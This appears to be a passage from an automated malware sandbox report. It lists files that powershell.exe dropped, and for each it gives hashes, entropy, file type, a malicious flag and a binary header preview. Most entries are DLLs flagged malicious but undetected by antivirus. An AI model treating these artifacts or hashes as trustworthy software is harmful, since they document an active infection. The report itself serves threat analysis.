                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......v66L2WX.2WX.2WX.y/[.8WX.y/]..WX.y/\.&WX.4.]..WX.4.\. WX.4.[.&WX.;/..0WX.y/Y.5WX.2WY.CWX.].P.3WX.]..3WX.].Z.3WX.Rich2WX.........................PE..L....G.f...............&.....r.......j.......0....@.......................................@.....................................d......................../..........H...T...............................@............0...............................text...c........................... ..`.rdata..~....0......................@..@.data...............................@....rsrc...............................@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                    Category:dropped
                    Size (bytes):50968
                    Entropy (8bit):5.944269629896292
                    Encrypted:false
                    SSDEEP:
                    MD5:740DCC24BA59F6205DE3D5C5575A19A7
                    SHA1:2A911E51BB2571F5792C49008A2A2103FC0ED0AD
                    SHA-256:6A4A987548A8FA13C8678FDAE921C2084A92048E6002400D5C48D695C502E0BD
                    SHA-512:E652043DA39B4FE631E428D8422B642CF3BCAB0B2068BEFA7056CFC8C601CFA95F7C6FAA552F53DC3F773834D192B3EDA7F69BDB78ECE6BB0CB9278779CD8D24
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......v..2O..2O..2O..;7..6O..4..6O..4..&O..4..:O..4..1O..y7..?O..2O..{O..]..3O..]..3O..].B.3O..]..3O..Rich2O..........................PE..d...sK.f.........." ...&.2...h.......5..............................................S.....`.........................................`...........................\......../......8....k..T...........................Pj..@............P..h............................text....0.......2.................. ..`.rdata..DB...P...D...6..............@..@.data................z..............@....pdata..\...........................@..@.rsrc...............................@..@.reloc..8...........................@..B........................................................................................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                    Category:dropped
                    Size (bytes):764696
                    Entropy (8bit):6.46605957265092
                    Encrypted:false
                    SSDEEP:
                    MD5:789952F58D76B2F41E8EADD9FAE66906
                    SHA1:AB0324A701404A1818FD0C3E49F0706108F3C5AE
                    SHA-256:3C92D3E88C5B9DB5D0E655F72E20682B43C5E96CB939C0C7576883A10ADE18FD
                    SHA-512:FD380FF7C64576A112B994BDCB7E645C34D5D6378F1A921B2342AD7A00F57D7E8C485BBA03C20A6E7B143493E83DF7EA0CC31B31C763571BA7F0268D660D391A
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:+c.~J..~J..~J..52..tJ..52...J..52..jJ..x...XJ..x...lJ..x...jJ..w2..|J..52..wJ..~J...J.......J.......J.......J..Rich~J..........................PE..L....G.f...............&.....t......@j....... ....@.................................$6....@....................................x....................|.../..............T...............................@............ ...............................text...s........................... ..`.rdata...... ......................@..@.data...............................@....rsrc...............................@..@.reloc...............d..............@..B........................................................................................................................................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                    Category:dropped
                    Size (bytes):71448
                    Entropy (8bit):6.244392352614308
                    Encrypted:false
                    SSDEEP:
                    MD5:28D2A0405BE6DE3D168F28109030130C
                    SHA1:7151ECCBD204B7503F34088A279D654CFE2260C9
                    SHA-256:2DFCAEC25DE17BE21F91456256219578EAE9A7AEC5D21385DEC53D0840CF0B8D
                    SHA-512:B87F406F2556FAC713967E5AE24729E827F2112C318E73FE8BA28946FD6161802DE629780FAD7A3303CF3DBAB7999B15B535F174C85B3CBB7BB3C67915F3B8D0
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........l[.~...~...~.......~.......~.......~.......~.......~.......~.......~...~..=~.......~.......~.......~.......~..Rich.~..................PE..d...wK.f.........." ...&.f................................................... ............`.............................................P......d......................../..............T...........................@...@............................................text...%d.......f.................. ..`.rdata..pO.......P...j..............@..@.data...h...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                    Category:modified
                    Size (bytes):85272
                    Entropy (8bit):6.581027304618609
                    Encrypted:false
                    SSDEEP:
                    MD5:223FD6748CAE86E8C2D5618085C768AC
                    SHA1:DCB589F2265728FE97156814CBE6FF3303CD05D3
                    SHA-256:F81DC49EAC5ECC528E628175ADD2FF6BDA695A93EA76671D7187155AA6326ABB
                    SHA-512:9C22C178417B82E68F71E5B7FE7C0C0A77184EE12BD0DC049373EACE7FA66C89458164D124A9167AE760FF9D384B78CA91001E5C151A51AD80C824066B8ECCE6
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o~..+...+...+..."g..!...-...)...-.i.(...-...&...-...#...-.../...D...(...`g..)...+...t...D...#...D...*...D.k.*...D...*...Rich+...........................PE..d....K.f.........." ...&.....^...............................................`.......b....`.............................................H............@.......0..8......../...P..........T...........................p...@............................................text............................... ..`.rdata...>.......@..................@..@.data........ ......................@....pdata..8....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                    Category:dropped
                    Size (bytes):125208
                    Entropy (8bit):6.122025398643493
                    Encrypted:false
                    SSDEEP:
                    MD5:BBD5533FC875A4A075097A7C6ABA865E
                    SHA1:AB91E62C6D02D211A1C0683CB6C5B0BDD17CBF00
                    SHA-256:BE9828A877E412B48D75ADDC4553D2D2A60AE762A3551F9731B50CAE7D65B570
                    SHA-512:23EF351941F459DEE7ED2CEBBAE21969E97B61C0D877CFE15E401C36369D2A2491CA886BE789B1A0C5066D6A8835FD06DB28B5B28FB6E9DF84C2D0B0D8E9850E
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&e..b..b..b..k|H.d..d..`..d..n..d..j..d..f.....`..)|.c..)|.d...x.a..b........d.....c....$.c.....c..Richb..................PE..d....K.f.........." ...&............\_..............................................j.....`.........................................``.......`.........................../......t.......T...............................@............................................text............................... ..`.rdata..Xl.......n..................@..@.data...,5.......0...j..............@....pdata..............................@..@.rsrc...............................@..@.reloc..t...........................@..B........................................................................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                    Category:dropped
                    Size (bytes):5191960
                    Entropy (8bit):5.962142634441191
                    Encrypted:false
                    SSDEEP:
                    MD5:E547CF6D296A88F5B1C352C116DF7C0C
                    SHA1:CAFA14E0367F7C13AD140FD556F10F320A039783
                    SHA-256:05FE080EAB7FC535C51E10C1BD76A2F3E6217F9C91A25034774588881C3F99DE
                    SHA-512:9F42EDF04C7AF350A00FA4FDF92B8E2E6F47AB9D2D41491985B20CD0ADDE4F694253399F6A88F4BDD765C4F49792F25FB01E84EC03FD5D0BE8BB61773D77D74D
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............l..l..l......l...m..l...i..l...h..l...o..l..m.y.l...m...l...o..l...h.l...l..l......l...n..l.Rich.l.........PE..d......e.........." ...%..7..4......v.........................................O.......P...`.........................................P.H.0....kN.@.....N.|.....K.d.....O../....N....P.C.8.............................C.@............`N..............................text.....7.......7................. ..`.rdata....... 7.......7.............@..@.data....n....K..<....J.............@....pdata..0.....K......4K.............@..@.idata...%...`N..&....N.............@..@.00cfg..u.....N.......N.............@..@.rsrc...|.....N......0N.............@..@.reloc........N......8N.............@..B................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                    Category:dropped
                    Size (bytes):39696
                    Entropy (8bit):6.641880464695502
                    Encrypted:false
                    SSDEEP:
                    MD5:0F8E4992CA92BAAF54CC0B43AACCCE21
                    SHA1:C7300975DF267B1D6ADCBAC0AC93FD7B1AB49BD2
                    SHA-256:EFF52743773EB550FCC6CE3EFC37C85724502233B6B002A35496D828BD7B280A
                    SHA-512:6E1B223462DC124279BFCA74FD2C66FE18B368FFBCA540C84E82E0F5BCBEA0E10CC243975574FA95ACE437B9D8B03A446ED5EE0C9B1B094147CEFAF704DFE978
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".H...(.......L...............................................n....`......................................... l.......p..P...............P....l.../......,...@d...............................c..@............`.. ............................text....G.......H.................. ..`.rdata..h....`.......L..............@..@.data................b..............@....pdata..P............d..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                    Category:dropped
                    Size (bytes):787224
                    Entropy (8bit):5.609561366841894
                    Encrypted:false
                    SSDEEP:
                    MD5:19A2ABA25456181D5FB572D88AC0E73E
                    SHA1:656CA8CDFC9C3A6379536E2027E93408851483DB
                    SHA-256:2E9FBCD8F7FDC13A5179533239811456554F2B3AA2FB10E1B17BE0DF81C79006
                    SHA-512:DF17DC8A882363A6C5A1B78BA3CF448437D1118CCC4A6275CC7681551B13C1A4E0F94E30FFB94C3530B688B62BFF1C03E57C2C185A7DF2BF3E5737A06E114337
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........>:V.PiV.PiV.Pi_..iX.PiC.QhT.Pi..QhT.PiC.UhZ.PiC.Th^.PiC.ShR.PillQhU.PiV.QiH.PillThf.PillPhW.Pill.iW.PillRhW.PiRichV.Pi................PE..d......e.........." ...%.*..........K........................................ ............`..........................................g...Q..............s.......@M......./......`.......8...........................`...@............p...............................text...D).......*.................. ..`.rdata..Hy...@...z..................@..@.data....N.......H..................@....pdata...V.......X..................@..@.idata...c...p...d...H..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..4...........................@..B........................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:MS Windows icon resource - 12 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 8 bits/pixel, 64x64, 8 bits/pixel
                    Category:dropped
                    Size (bytes):75809
                    Entropy (8bit):5.969322217946821
                    Encrypted:false
                    SSDEEP:
                    MD5:B35F68A3086562C4D5453FAAD5A3474E
                    SHA1:673904FF9B305A6600E47AD715289122EC0B046A
                    SHA-256:150C470F9943B806B44312EFDEC85755F22F8D7D52B31F93A9AF3C43E8627381
                    SHA-512:6EC80921942B3BD3C85EF24A2DE5454A34A3AD11A1BC69B601AEA7B873E318073C0B2D78C26685999F78EC64A86282C08C53AB8D77E41C661AE968EA52C08176
                    Malicious:false
                    Reputation:unknown
                    Preview:...............7......@@......(....8..00...........N.. ..........m]...............f..........h....l........ .t/..Er..@@.... .(B......00.... ..%...... .... ............... .....1......... .h....#...PNG........IHDR.............\r.f....pHYs..........o.d.. .IDATx..{.$.}....w........X..V.....F..]..T..P.H().........P)..<....Y..%%...[B2....2."..\......tOwO..9=.>}^=.5s.....==gz......;..;.T.x..0.3.x.....,.l..f.a..0......`..0.....a&.6..3...`......L0l..f.a..0......`..0.....a&.6..3........_.ro...Y:>.T...V...0c.......3v..X8..0c...56.....f,.t:..,.l....#......k8...l....G..1.u.6..n....5.......w.{...N..ND.\'P.......j...1.!.u+n..v|.._... ..>.....p.....}.v.y.h6...N...%`....[.l....F`.a.....og#....`..6.....f.`#.p..`..6.....fla#0...0c....q.m.9..{......3.\v.e....>}......."...p..w8E.l....`V..........H..l....e.]..~..Nm'....`V$.v..G?.Q...l...0+.6.v..0+.6.f..0+.6.z..0...].........q...O..`..L..w.v6......#....(...a..L.l....`&.6.)+~Y.........aY.{.r?..{.n.....{..F...o\QK.s..L47.p
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:MS Windows icon resource - 12 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 8 bits/pixel, 64x64, 8 bits/pixel
                    Category:dropped
                    Size (bytes):78396
                    Entropy (8bit):6.10453452748711
                    Encrypted:false
                    SSDEEP:
                    MD5:B1C9980131A3F20E344AA3AA2C8DEA49
                    SHA1:0FE02F0ED5E56BBE7E4E98B1DCA061ED17FBF5C7
                    SHA-256:FDA28A734788A3F175CB6AED4DAEB5F05F0E49F6A272CCD2051BA337F7B3B42F
                    SHA-512:84CA107ACE44FA1964C6C1EA93FC767BDE88363339FC426A3D660DA53C84BADE14F1FAE99C494483BF2B5312938D84B0C1733C85E82592B8FFE8A28F76186A3A
                    Malicious:false
                    Reputation:unknown
                    Preview:..............r?......@@......(...8@..00..........`V.. ...........e...............m..........h...xt........ ..1...y..@@.... .(B.....00.... ..%...... .... ............... .....L$........ .h....-...PNG........IHDR.............\r.f....pHYs..........o.d.. .IDATx..y..W}..-.^....n.v.lK..@.../.,....`...s0g.@.0.d...8.@B&..9.'.@L....NX-..-.8v[.. ./-....zU..[..[.....w?...zU...[.-......=..#.h4..1./..h....4..F+......@..`...h:...4..F+......@..`...h:...4..F+......@..`...h:...4..F+.....O......x.9..:...t..lB{...B+..E+.M.....j%0Ah..i;,........m.....@.hO`.h..i{.'0v...=.ei%0F.. .C..M.+..<....w..d..~g&.j.*.y.uQ.T`Y..:....w.:.......y.t.BH.w.}.....v..#X.x1.....$0..F....8..<J.R.z8..Z.h....&...4m..'P.V3]..@6...........J ...4m.V...V...D+..A+.M.r.....j% F+.M[s.....Z...}.{Z.....=L.dI..9sF{....4......V.2.'....f.=....@3.h...t%...f.q...L^....Z.hf%.......3g:V.h....h%..V..Y.V.j....z.......#.J@.V...A+.$Z.h:...A,\.0.......t.........@3&fz..4.p..c....w.......\c.].g.....o...n....m.6.
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:MS Windows icon resource - 12 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 8 bits/pixel, 64x64, 8 bits/pixel
                    Category:dropped
                    Size (bytes):83351
                    Entropy (8bit):6.269678824341842
                    Encrypted:false
                    SSDEEP:
                    MD5:1A8230030D821CF8EA57CE03AAEAD737
                    SHA1:12656788B1FBE4D2375ECC2989A4D9DA69CAA0D6
                    SHA-256:C4EC1845A5724B2A83500F3BD940355E2FE26EFC6B4FE6C208365359A6130DA1
                    SHA-512:AF6356DC67249E724AE30F65DDEFB4E53C6F2703DA32FD5F135598BBD6189BEE70950242F52985478DE99979D1271EEC9F4E2981A29A9BC02C673E9B668FD0C1
                    Malicious:false
                    Reputation:unknown
                    Preview:...............H......@@......(....I..00..........._.. ..........hn...............w..........h....}........ ..;..@...@@.... .(B../...00.... ..%..W... .... ......&........ ......7........ .h.../A...PNG........IHDR.............\r.f....pHYs..........o.d.. .IDATx..y...u.....u..l3..+Ar...)B..-.c...Y....X.$[....r..c.;>I..>..(...X.m%..G... ..H.....F,..f....~.T..W.^U...Yz.}.S....5.|....S^z.%H$...7 .H..i.$.e.4...2F...d.#..D....@"Y.H. .,c...H.1..H$..i.$.e.4...2F...d.#..D....@"Y.H. .,c...........B.d~H....G>.,.},%d. i......H. i9../.R..&!....0.C..&!...%.F.9H. iY...=..HZ.i.f.4...G...i.:.8....-..9.m..y>.G.\...x...~......O."......0".#F@..$c...B>.l&M=...........qm?>.K..?...azz:.Zi..#...E...../..t:.{...$C..IK0.n...._FGGG....#...e.\7......@...@.Rl...../J#.$.....[6..'_.9.f ...%..@s..@..H`.H. ii.l.......5.._..W.....@.......D....F.B...@....@.d.F 9..H.....$.....@...u3>.S...vzz..........@.$yx..~.g...w..Y.F@...E..x...,i...F...G..p...,...=.....f......@.lx..'..~H...b....,+.~.I|.#?.t
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                    Category:dropped
                    Size (bytes):201496
                    Entropy (8bit):6.366374012034735
                    Encrypted:false
                    SSDEEP:
                    MD5:5E911CA0010D5C9DCE50C58B703E0D80
                    SHA1:89BE290BEBAB337417C41BAB06F43EFFB4799671
                    SHA-256:4779E19EE0F4F0BE953805EFA1174E127F6E91AD023BD33AC7127FEF35E9087B
                    SHA-512:E3F1DB80748333F08F79F735A457246E015C10B353E1A52ABE91ED9A69F7DE5EFA5F78A2ED209E97B16813CB74A87F8F0C63A5F44C8B59583851922F54A48CF5
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........A~..A~..A~..H...M~..G...C~..G...L~..G...I~..G...B~......C~......B~..A~..5~......E~......@~....}.@~......@~..RichA~..........PE..d....K.f.........." ...&..................................................... ............`.............................................P...P...................T......../..........`4..T........................... 3..@............ ...............................text...O........................... ..`.rdata..$.... ......................@..@.data...l ..........................@....pdata..T...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):125220
                    Entropy (8bit):6.927830329526241
                    Encrypted:false
                    SSDEEP:
                    MD5:7E0751762AE08566F876556CC2B92C7E
                    SHA1:9FEC1FE8A03C2D5A8D911479EF6C3921189CB051
                    SHA-256:1B7CB35EAD7ACE3D87970E01F4D98BE2219CD558E4CF63B1C3F15CEA709F6AB0
                    SHA-512:72AF8FDB16EDD846EE67E1FF421E95C3335BE2DC2EC475DA586120B670E105EE9A43EB4666FE7837147C5A17B76C5DC55BC9B012A31C3D4991875B6C29B76CF2
                    Malicious:false
                    Reputation:unknown
                    Preview:0......*.H...........0.......1.0...`.H.e......0...q..+.....7......a0...\0...+.....7........Y...N....".P...240409150154Z0...+.....7.....0....0... .....w.=...7o.............L.w1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....w.=...7o.............L.w0*...0..{b..M..;@....C^.1.0...+.....7...1...0*....T..|../..IT....Q.1.0...+.....7...1...0*.....'......s..%R=5..1.0...+.....7...1...0*.....2m..3.......N..D1.0...+.....7...1...0... .......V.C.........>..wf...O...1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .......V.C.........>..wf...O...0*.....KG{6.8.o.<v.....1.0...+.....7...1...0... .k.r.....r...K=.w.&.....mY+..1i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .k.r.....r...K=.w.&.....mY+..0... .l..x....h......=....'&.ZZGe.7.31i0...+.....7...1...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .l..x....h......=....'&.ZZGe.7.30*....H..J.%....Q..Uhx{;1.0...+.....7...1...0*.........].3.=].[.
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                    Category:dropped
                    Size (bytes):30488
                    Entropy (8bit):6.576230704358061
                    Encrypted:false
                    SSDEEP:
                    MD5:92B440CA45447EC33E884752E4C65B07
                    SHA1:5477E21BB511CC33C988140521A4F8C11A427BCC
                    SHA-256:680DF34FB908C49410AC5F68A8C05D92858ACD111E62D1194D15BDCE520BD6C3
                    SHA-512:40E60E1D1445592C5E8EB352A4052DB28B1739A29E16B884B0BA15917B058E66196988214CE473BA158704837B101A13195D5E48CB1DC2F07262DFECFE8D8191
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&.tb..'b..'b..'k.V'`..'d(.&`..'d(.&n..'d(.&j..'d(.&f..'.(.&`..'b..' ..')..&g..'.(.&c..'.(.&c..'.(:'c..'.(.&c..'Richb..'........PE..d....K.f.........." ...&.....2............................................................`..........................................@..L...,A..x....p.......`.......H.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...X....P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..L............F..............@..B................................................................................................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                    Category:dropped
                    Size (bytes):1540888
                    Entropy (8bit):6.584272141791991
                    Encrypted:false
                    SSDEEP:
                    MD5:612FC8A817C5FAA9CB5E89B0D4096216
                    SHA1:C8189CBB846F9A77F1AE67F3BD6B71B6363B9562
                    SHA-256:7DA1C4604FC97BA033830A2703D92BB6D10A9BBA201EC64D13D5CCBFECD57D49
                    SHA-512:8A4A751AF7611651D8D48A894C0D67EB67D5C22557BA4DDD298909DD4FB05F5D010FE785019AF06E6CA2E406753342C54668E9C4E976BAF758EE952834F8A237
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........l..l..l...B..l.....l.....l.....l.....l.....l..l..l.....l.....l......l.....l.Rich.l.................PE..d....K.f.........." ...&.....,............................................................`..............................................#...........`..........h....T.../...p..\......T...............................@............@..X............................text....,.......................... ..`.rdata.......@.......2..............@..@.data...PM...0...D..................@....pdata..h............\..............@..@.rsrc........`.......:..............@..@.reloc..\....p.......D..............@..B................................................................................................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                    Category:dropped
                    Size (bytes):1816344
                    Entropy (8bit):6.495083998132025
                    Encrypted:false
                    SSDEEP:
                    MD5:21DC82DD9CC445F92E0172D961162222
                    SHA1:73BC20B509E1545B16324480D9620AE25364EBF1
                    SHA-256:C2966941F116FAB99F48AB9617196B43A5EE2FD94A8C70761BDA56CB334DAA03
                    SHA-512:3051A9D723FB7FC11F228E9F27BD2644AC5A0A95E7992D60C757240577B92FC31FA373987B338E6BC5707317D20089DF4B48D1B188225FF370AD2A68D5FF7BA6
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......1.y+u..xu..xu..x...yw..x...xv..x...yx..x...y}..x...yq..x..yw..x|..xg..x...yt..x...yx..xu..x]..x...y...x...yt..x...xt..x...yt..xRichu..x........................PE..d...1,.c.........." ...!..................................................................`..............................................`.. _..h.......8................/..........................................`...@............0...............................text............................... ..`.rdata..|L...0...N..................@..@.data...."...........f..............@....pdata...............n..............@..@.rsrc...8............f..............@..@.reloc...............j..............@..B................................................................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                    Category:dropped
                    Size (bytes):1555736
                    Entropy (8bit):6.182100088642903
                    Encrypted:false
                    SSDEEP:
                    MD5:9FB68A0252E2B6CD99FD0CB6708C1606
                    SHA1:60AB372E8473FAD0F03801B6719BF5CCCFC2592E
                    SHA-256:C6FFE2238134478D8CB1C695D57E794516F3790E211FF519F551E335230DE7DE
                    SHA-512:F5DE1B1A9DC2D71AE27DFAA7B01E079E4970319B6424B44C47F86360FAF0B976ED49DAB6EE9F811E766A2684B647711E567CBAA6660F53BA82D724441C4DDD06
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y.P.=n>.=n>.=n>...?.?n>...;.1n>...:.5n>...=.9n>...:.>n>...:.<n>.4...-n>...?.(n>.=n?.wo>...6..n>...>.<n>.....<n>...<.<n>.Rich=n>.................PE..d...],.c.........." ...!............|.....................................................`..........................................?..L@..,...|........{...P..D......../.......E...T...............................S..@...............@............................text...h........................... ..`.rdata..0...........................@..@.data...............................@....pdata..D....P......................@..@.rsrc....{.......|..................@..@.reloc...E.......F...H..............@..B................................................................................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                    Category:dropped
                    Size (bytes):1137944
                    Entropy (8bit):5.462087550450309
                    Encrypted:false
                    SSDEEP:
                    MD5:16BE9A6F941F1A2CB6B5FCA766309B2C
                    SHA1:17B23AE0E6A11D5B8159C748073E36A936F3316A
                    SHA-256:10FFD5207EEFF5A836B330B237D766365D746C30E01ABF0FD01F78548D1F1B04
                    SHA-512:64B7ECC58AE7CF128F03A0D5D5428AAA0D4AD4AE7E7D19BE0EA819BBBF99503836BFE4946DF8EE3AB8A92331FDD002AB9A9DE5146AF3E86FEF789CE46810796B
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........aM...#...#...#..x....#.."...#..&...#..'...#.. ...#..."...#..x"...#..."...#.......#...#...#......#...!...#.Rich..#.................PE..d....K.f.........." ...&.>..........\*.......................................p.......Q....`.........................................p...X............P.......@.........../...`......P^..T............................]..@............P..p............................text....=.......>.................. ..`.rdata..\....P.......B..............@..@.data........ ......................@....pdata.......@......................@..@.rsrc........P......."..............@..@.reloc.......`.......,..............@..B........................................................................................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                    Category:dropped
                    Size (bytes):30488
                    Entropy (8bit):6.443672733968568
                    Encrypted:false
                    SSDEEP:
                    MD5:F4EFDE2CA920A52135B00BF8F0545A87
                    SHA1:352E5EA2419BA876FB80E0D0D1E5DD12272A33E4
                    SHA-256:9885B3D18903A2EF27428C7C9760493111CC97330FF0AFCB57199964092E86BF
                    SHA-512:F098AF2851BE213F83D19C0AA0CA82DED7BC41F51793502B9BED32D185B73B9CC8A9B29E25B3C5847B237AA466B14088E577F05B6BD03046AA65EDB25C087E8D
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........N.J. TJ. TJ. TC.TH. TL.!UH. TL.%UA. TL.$UB. TL.#UI. T%.!UH. T..!UM. TJ.!Tp. T%.(UK. T%. UK. T%..TK. T%."UK. TRichJ. T........................PE..d....K.f.........." ...&.....4.......................................................!....`..........................................A..P....B.......p.......`..p....H.../......d....:..T............................9..@............0...............................text............................... ..`.rdata.......0......................@..@.data........P.......4..............@....pdata..p....`.......8..............@..@.rsrc........p.......<..............@..@.reloc..d............F..............@..B................................................................................................................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
                    Category:dropped
                    Size (bytes):146712
                    Entropy (8bit):6.609130019215802
                    Encrypted:false
                    SSDEEP:
                    MD5:297E845DD893E549146AE6826101E64F
                    SHA1:6C52876EA6EFB2BC8D630761752DF8C0A79542F1
                    SHA-256:837EFB838CB91428C8C0DFB65D5AF1E69823FF1594780EB8C8E9D78F7C4B2FC1
                    SHA-512:F6EFEF5E34BA13F1DFDDACFEA15F385DE91D310D73A6894CABB79C2186ACCC186C80CEF7405658D91517C3C10C66E1ACB93E8AD2450D4346F1AA85661B6074C3
                    Malicious:true
                    Antivirus:
                    • Antivirus: ReversingLabs, Detection: 0%
                    Reputation:unknown
                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...x.Oc..........."...'............P..........A....................................@.....`... ......................................@.......P..8......................../......................................(....................Q..p............................text...............................`..`.data...............................@....rdata...W.......X..................@..@.pdata..............................@..@.xdata....... ......................@..@.bss.........0...........................edata.......@......................@..@.idata..8....P......................@....CRT....X....`......................@....tls.........p......................@....rsrc...............................@....reloc..............................@..B................................................................................................................................
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:ASCII text, with CRLF line terminators
                    Category:dropped
                    Size (bytes):234
                    Entropy (8bit):4.83687632821278
                    Encrypted:false
                    SSDEEP:
                    MD5:54949B2EA0EA5154FE0F9F9D2F5814DB
                    SHA1:B49EF38E5F36D1570EEC285B233086E868DCFA20
                    SHA-256:D33FB8AFE37163056EDF2ABF8C0C701ED104714320FA1BA993B5164BB70AA3E5
                    SHA-512:785E8239970710F146DF461D564887A587F23F265C25A269AA97A800084CFC7B484B89A53C3FD831CC8786D3DFCF7ACA814CBB30A39974C254FD763C44FEAD1B
                    Malicious:false
                    Reputation:unknown
